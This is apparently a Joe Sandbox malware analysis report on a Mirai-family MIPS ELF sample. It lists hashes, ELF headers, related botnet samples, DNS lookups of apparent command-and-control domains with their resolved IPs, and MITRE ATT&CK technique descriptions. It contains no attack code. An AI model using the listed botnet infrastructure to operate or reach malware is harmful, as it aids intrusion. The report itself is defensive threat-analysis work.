152.17.225.146	unknown	United States	40245	WAKE-FOREST-UNIVERSITYUS	false
157.217.254.139	unknown	United States	4704	SANNETRakutenMobileIncJP	false
64.150.39.55	unknown	United States	1416	CHICAGO-PUBLIC-SCHOOLSUS	false
219.254.225.23	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
47.72.74.93	unknown	United States	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
164.166.205.218	unknown	Canada	7633	SOFTNET-AS-APSoftwareTechnologyParksofIndia-Bangalore	false
149.36.58.148	unknown	United States	62240	CLOUVIDERClouvider-GlobalASNGB	false
200.123.27.231	unknown	Peru	22411	WIGOSAPE	false
157.154.242.135	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
110.74.54.215	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
16.205.49.95	unknown	United States	unknown	unknown	false
34.254.68.227	unknown	United States	16509	AMAZON-02US	false
142.18.116.253	unknown	Canada	808	GONET-ASN-1CA	false
184.56.225.251	unknown	United States	10796	TWC-10796-MIDWESTUS	false
181.180.2.250	unknown	Venezuela	262210	VIETTELPERUSACPE	false
194.78.159.189	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
171.48.143.235	unknown	India	9874	STARHUB-MOBILEStarHubLtdSG	false
47.193.51.210	unknown	United States	5650	FRONTIER-FRTRUS	false
44.250.86.111	unknown	United States	16509	AMAZON-02US	false
150.174.117.75	unknown	United States	395527	VSU-NETUS	false
16.137.118.201	unknown	United States	unknown	unknown	false
169.244.64.242	unknown	United States	557	UMAINE-SYS-ASUS	false
86.69.62.26	unknown	France	15557	LDCOMNETFR	false
55.168.178.170	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
103.225.35.218	unknown	India	55303	EAGLENET-AP60MarketSquarePOBox364PH	false
25.204.142.202	unknown	United Kingdom	7922	COMCAST-7922US	false
81.133.201.218	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
192.179.173.227	unknown	United States	15169	GOOGLEUS	false
35.36.10.253	unknown	United States	36375	UMICH-AS-5US	false
153.20.0.187	unknown	Singapore	9877	NGEEANN-POLY-AS-APNgeeAnnPolytechnicComputerCenterSG	false
196.209.118.240	unknown	South Africa	3741	ISZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
155.104.120.226	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	jklmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklmips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	arm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklarm7.elf	Get hash	malicious	Unknown	Browse	193.143.1.116
	jklsh4.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	arm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.147.251.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINATELECOM-FUJIAN-QUANZHOU-IDC1QuanzhouCN	splm68k.elf	Get hash	malicious	Unknown	Browse	117.29.208.174
	yakov.sh4.elf	Get hash	malicious	Unknown	Browse	117.24.211.1
	yakov.x64.elf	Get hash	malicious	Mirai	Browse	117.26.102.79
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	117.29.156.232
	nabarm.elf	Get hash	malicious	Unknown	Browse	117.29.147.214
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	117.29.255.4
	Fantazy.i686.elf	Get hash	malicious	Unknown	Browse	117.27.105.212
	sora.mips.elf	Get hash	malicious	Mirai	Browse	117.24.112.222
	ZOOM#U89c6#U9891#U4f1a#U8bae_b0138065277.exe	Get hash	malicious	Unknown	Browse	117.30.84.167
	nshkmips.elf	Get hash	malicious	Mirai	Browse	117.26.151.46
FASTNET-AS-IDLinknet-FastnetASNID	nklarm7.elf	Get hash	malicious	Unknown	Browse	140.65.94.234
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	140.28.236.89
	jklarm7.elf	Get hash	malicious	Unknown	Browse	139.0.75.217
	splarm7.elf	Get hash	malicious	Unknown	Browse	140.8.229.235
	apep.m68k.elf	Get hash	malicious	Unknown	Browse	140.69.245.159
	vejfa5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	140.9.127.24
	jklm68k.elf	Get hash	malicious	Unknown	Browse	140.23.194.111
	splarm7.elf	Get hash	malicious	Unknown	Browse	140.74.178.234
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	111.95.142.50
	nabarm7.elf	Get hash	malicious	Unknown	Browse	140.8.22.69
ASGARRConsortiumGARREU	bejv86.elf	Get hash	malicious	Mirai	Browse	157.27.83.189
	resgod.spc.elf	Get hash	malicious	Mirai	Browse	156.15.146.116
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	156.149.192.243
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	156.148.61.218
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	156.149.192.253
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	156.148.61.213
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	156.149.192.210
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	156.15.146.164
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	150.145.171.226
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	146.48.234.93

Process:	/tmp/splmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.250685951512576
Encrypted:	false
SSDEEP:	6:URPtceFX+L0Y/VUS/FYceFXhCY/VDM/V+4D/VH:IPSezS/FFeLRMfF
MD5:	1332A7417D10EE6C9BCCD262B811E0E7
SHA1:	B2F6289C6B79BCDA6ED6500EB9AB41F67D944B57
SHA-256:	20641D1432E41A695CDFE666F722CC4FE160F229DD39723A5DEB7033F3AAF7F7
SHA-512:	EEBD8A73AFB4F69E6DB27B11AC6CB5BA9E9A82C02E639A0D629495D57EC0BE63237F566095E8341CF6B87515DD2EA882B94CCD92373861C2433DBF335B8A3EC8
Malicious:	false
Reputation:	low
Preview:	400000-413000 r-xp 00000000 fd:00 531567 /tmp/..453000-454000 rw-p 00013000 fd:00 531567 /tmp/..454000-456000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: splmips.elf	Virustotal: Detection: 32%			Perma Link
Source: splmips.elf	ReversingLabs: Detection: 39%

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.475694276547294
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splmips.elf
File size:	80'216 bytes
MD5:	321120617853c2b0bff90efc0fe88f1c
SHA1:	c19f357caec3e39abce83908f623017a90749657
SHA256:	a2f2572c3a3e6455979ec3892347faaea8c2dbaa11f2681462b8e8a38b2074e7
SHA512:	dc81dfdb5da529aff2fe1e9ed38b73434654659f6354ac88074e62a3dc1a3511f9f920e6156617f8fd5efe2a81d6c19193b2ba9169d31e8e0c97fc361af34e1a
SSDEEP:	1536:974r3wfm9s/eqjGGYNsl5R5bonpRWyO7y1txzu2cSgzXbBRK:Or3j96zENg5R5bonvWy11/u2FgzXm
TLSH:	2973A61A2E22DFADFB6C863687B78F209748339126E0C585E16DED015E7074D641FBAC
File Content Preview:	.ELF.....................@.`...4..7......4. ...(.............@...@..../.../...............0..E0..E0........X........dt.Q............................<...'..,...!'.......................<...'......!... ....'9... ......................<...'......!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79616
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11ec0	0x0	0x6	AX	16
.fini	PROGBITS	0x411fe0	0x11fe0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412040	0x12040	0xec0	0x0	0x2	A	16
.ctors	PROGBITS	0x453000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x453008	0x13008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x453010	0x13010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453014	0x13014	0xec	0x0	0x3	WA	4
.data	PROGBITS	0x453100	0x13100	0x1d0	0x0	0x3	WA	16
.got	PROGBITS	0x4532d0	0x132d0	0x3c4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x453694	0x13694	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4536b0	0x13694	0x12a8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x786	0x13694	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13694	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x12f00	0x12f00	5.5047	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13000	0x453000	0x453000	0x694	0x1958	4.0431	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 03:27:55.894694090 CET	192.168.2.13	202.61.197.122	0x9112	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.151000977 CET	192.168.2.13	185.181.61.24	0xadb5	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.783452034 CET	192.168.2.13	185.181.61.24	0xcad5	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.227252960 CET	192.168.2.13	51.158.108.203	0xaac9	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:52.853916883 CET	192.168.2.13	152.53.15.127	0x2e2a	Standard query (0)	watchmepull.dyn. [malformed]	256	484	false
Mar 13, 2025 03:28:52.878309965 CET	192.168.2.13	152.53.15.127	0x2e2a	Standard query (0)	watchmepull.dyn. [malformed]	256	484	false
Mar 13, 2025 03:28:52.896866083 CET	192.168.2.13	152.53.15.127	0x2e2a	Standard query (0)	watchmepull.dyn. [malformed]	256	484	false
Mar 13, 2025 03:28:52.914998055 CET	192.168.2.13	152.53.15.127	0x2e2a	Standard query (0)	watchmepull.dyn. [malformed]	256	484	false
Mar 13, 2025 03:28:52.938608885 CET	192.168.2.13	152.53.15.127	0x2e2a	Standard query (0)	watchmepull.dyn. [malformed]	256	484	false
Mar 13, 2025 03:29:04.557269096 CET	192.168.2.13	152.53.15.127	0x74e2	Standard query (0)	watchmepull.dyn. [malformed]	256	496	false
Mar 13, 2025 03:29:04.575453043 CET	192.168.2.13	152.53.15.127	0x74e2	Standard query (0)	watchmepull.dyn. [malformed]	256	496	false
Mar 13, 2025 03:29:04.599682093 CET	192.168.2.13	152.53.15.127	0x74e2	Standard query (0)	watchmepull.dyn. [malformed]	256	496	false
Mar 13, 2025 03:29:04.623431921 CET	192.168.2.13	152.53.15.127	0x74e2	Standard query (0)	watchmepull.dyn. [malformed]	256	496	false
Mar 13, 2025 03:29:04.647466898 CET	192.168.2.13	152.53.15.127	0x74e2	Standard query (0)	watchmepull.dyn. [malformed]	256	496	false
Mar 13, 2025 03:29:15.896717072 CET	192.168.2.13	194.36.144.87	0xd50e	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:27.527621984 CET	192.168.2.13	185.181.61.24	0xa790	Standard query (0)	watchmepull.dyn. [malformed]	256	263	false
Mar 13, 2025 03:29:27.563647985 CET	192.168.2.13	185.181.61.24	0xa790	Standard query (0)	watchmepull.dyn. [malformed]	256	263	false
Mar 13, 2025 03:29:27.599950075 CET	192.168.2.13	185.181.61.24	0xa790	Standard query (0)	watchmepull.dyn. [malformed]	256	263	false
Mar 13, 2025 03:29:27.636178970 CET	192.168.2.13	185.181.61.24	0xa790	Standard query (0)	watchmepull.dyn. [malformed]	256	263	false
Mar 13, 2025 03:29:27.672437906 CET	192.168.2.13	185.181.61.24	0xa790	Standard query (0)	watchmepull.dyn. [malformed]	256	263	false
Mar 13, 2025 03:29:39.314692020 CET	192.168.2.13	51.158.108.203	0x53b3	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:50.947865009 CET	192.168.2.13	202.61.197.122	0x2688	Standard query (0)	watchmepull.dyn. [malformed]	256	286	false
Mar 13, 2025 03:29:50.966253996 CET	192.168.2.13	202.61.197.122	0x2688	Standard query (0)	watchmepull.dyn. [malformed]	256	286	false
Mar 13, 2025 03:29:50.984581947 CET	192.168.2.13	202.61.197.122	0x2688	Standard query (0)	watchmepull.dyn. [malformed]	256	287	false
Mar 13, 2025 03:29:51.003062963 CET	192.168.2.13	202.61.197.122	0x2688	Standard query (0)	watchmepull.dyn. [malformed]	256	287	false
Mar 13, 2025 03:29:51.021455050 CET	192.168.2.13	202.61.197.122	0x2688	Standard query (0)	watchmepull.dyn. [malformed]	256	287	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 03:27:55.911999941 CET	202.61.197.122	192.168.2.13	0x9112	No error (0)	watchmepull.dyn		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:27:55.911999941 CET	202.61.197.122	192.168.2.13	0x9112	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:27:55.911999941 CET	202.61.197.122	192.168.2.13	0x9112	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:27:55.911999941 CET	202.61.197.122	192.168.2.13	0x9112	No error (0)	watchmepull.dyn		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:27:55.911999941 CET	202.61.197.122	192.168.2.13	0x9112	No error (0)	watchmepull.dyn		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.188929081 CET	185.181.61.24	192.168.2.13	0xadb5	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.188929081 CET	185.181.61.24	192.168.2.13	0xadb5	No error (0)	watchmepull.dyn		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.188929081 CET	185.181.61.24	192.168.2.13	0xadb5	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.188929081 CET	185.181.61.24	192.168.2.13	0xadb5	No error (0)	watchmepull.dyn		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:07.188929081 CET	185.181.61.24	192.168.2.13	0xadb5	No error (0)	watchmepull.dyn		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.819792986 CET	185.181.61.24	192.168.2.13	0xcad5	No error (0)	watchmepull.dyn		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.819792986 CET	185.181.61.24	192.168.2.13	0xcad5	No error (0)	watchmepull.dyn		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.819792986 CET	185.181.61.24	192.168.2.13	0xcad5	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.819792986 CET	185.181.61.24	192.168.2.13	0xcad5	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:18.819792986 CET	185.181.61.24	192.168.2.13	0xcad5	No error (0)	watchmepull.dyn		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.242865086 CET	51.158.108.203	192.168.2.13	0xaac9	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.242865086 CET	51.158.108.203	192.168.2.13	0xaac9	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.242865086 CET	51.158.108.203	192.168.2.13	0xaac9	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.242865086 CET	51.158.108.203	192.168.2.13	0xaac9	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:41.242865086 CET	51.158.108.203	192.168.2.13	0xaac9	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:28:52.877170086 CET	152.53.15.127	192.168.2.13	0x2e2a	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	484	false
Mar 13, 2025 03:28:52.895634890 CET	152.53.15.127	192.168.2.13	0x2e2a	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	484	false
Mar 13, 2025 03:28:52.914036989 CET	152.53.15.127	192.168.2.13	0x2e2a	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	484	false
Mar 13, 2025 03:28:52.937705040 CET	152.53.15.127	192.168.2.13	0x2e2a	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	484	false
Mar 13, 2025 03:28:52.955322981 CET	152.53.15.127	192.168.2.13	0x2e2a	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	484	false
Mar 13, 2025 03:29:04.574831009 CET	152.53.15.127	192.168.2.13	0x74e2	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	496	false
Mar 13, 2025 03:29:04.599102020 CET	152.53.15.127	192.168.2.13	0x74e2	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	496	false
Mar 13, 2025 03:29:04.622529984 CET	152.53.15.127	192.168.2.13	0x74e2	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	496	false
Mar 13, 2025 03:29:04.646480083 CET	152.53.15.127	192.168.2.13	0x74e2	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	496	false
Mar 13, 2025 03:29:04.664464951 CET	152.53.15.127	192.168.2.13	0x74e2	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	496	false
Mar 13, 2025 03:29:15.919218063 CET	194.36.144.87	192.168.2.13	0xd50e	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:15.919218063 CET	194.36.144.87	192.168.2.13	0xd50e	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:15.919218063 CET	194.36.144.87	192.168.2.13	0xd50e	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:15.919218063 CET	194.36.144.87	192.168.2.13	0xd50e	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:15.919218063 CET	194.36.144.87	192.168.2.13	0xd50e	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:39.330137014 CET	51.158.108.203	192.168.2.13	0x53b3	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:39.330137014 CET	51.158.108.203	192.168.2.13	0x53b3	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:39.330137014 CET	51.158.108.203	192.168.2.13	0x53b3	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:39.330137014 CET	51.158.108.203	192.168.2.13	0x53b3	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 13, 2025 03:29:39.330137014 CET	51.158.108.203	192.168.2.13	0x53b3	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false

Start time (UTC):	02:27:48
Start date (UTC):	13/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:27:53
Start date (UTC):	13/03/2025
Path:	/tmp/splmips.elf
Arguments:	/tmp/splmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	02:27:54
Start date (UTC):	13/03/2025
Path:	/tmp/splmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01ZsMv (deleted)

/tmp/qemu-open.0MjWvw (deleted)

/tmp/qemu-open.0jnwiv (deleted)

/tmp/qemu-open.17f79u (deleted)

/tmp/qemu-open.1gSfVu (deleted)

/tmp/qemu-open.1lC3Du (deleted)

/tmp/qemu-open.23paJu (deleted)

/tmp/qemu-open.2mFmpw (deleted)

/tmp/qemu-open.3X2Niw (deleted)

/tmp/qemu-open.3p3MAu (deleted)

/tmp/qemu-open.3xAfTw (deleted)

/tmp/qemu-open.480Eru (deleted)

/tmp/qemu-open.4rcdvu (deleted)

/tmp/qemu-open.5sLECt (deleted)

/tmp/qemu-open.6DVLDx (deleted)

/tmp/qemu-open.6F56Vw (deleted)

/tmp/qemu-open.6NTN7w (deleted)

/tmp/qemu-open.6xLSbx (deleted)

/tmp/qemu-open.75ILHx (deleted)

/tmp/qemu-open.8EUHZt (deleted)

/tmp/qemu-open.8NTuux (deleted)

/tmp/qemu-open.8sAmRt (deleted)

/tmp/qemu-open.91F3Kv (deleted)

/tmp/qemu-open.9Bb4St (deleted)

/tmp/qemu-open.9EdYsu (deleted)

/tmp/qemu-open.9uWCsv (deleted)

/tmp/qemu-open.A1utyv (deleted)

/tmp/qemu-open.AK0J3x (deleted)

/tmp/qemu-open.AjnZ5v (deleted)

/tmp/qemu-open.Aon5dw (deleted)

/tmp/qemu-open.BS5l9x (deleted)

/tmp/qemu-open.Bx4rNt (deleted)

Linux Analysis Report
splmips.elf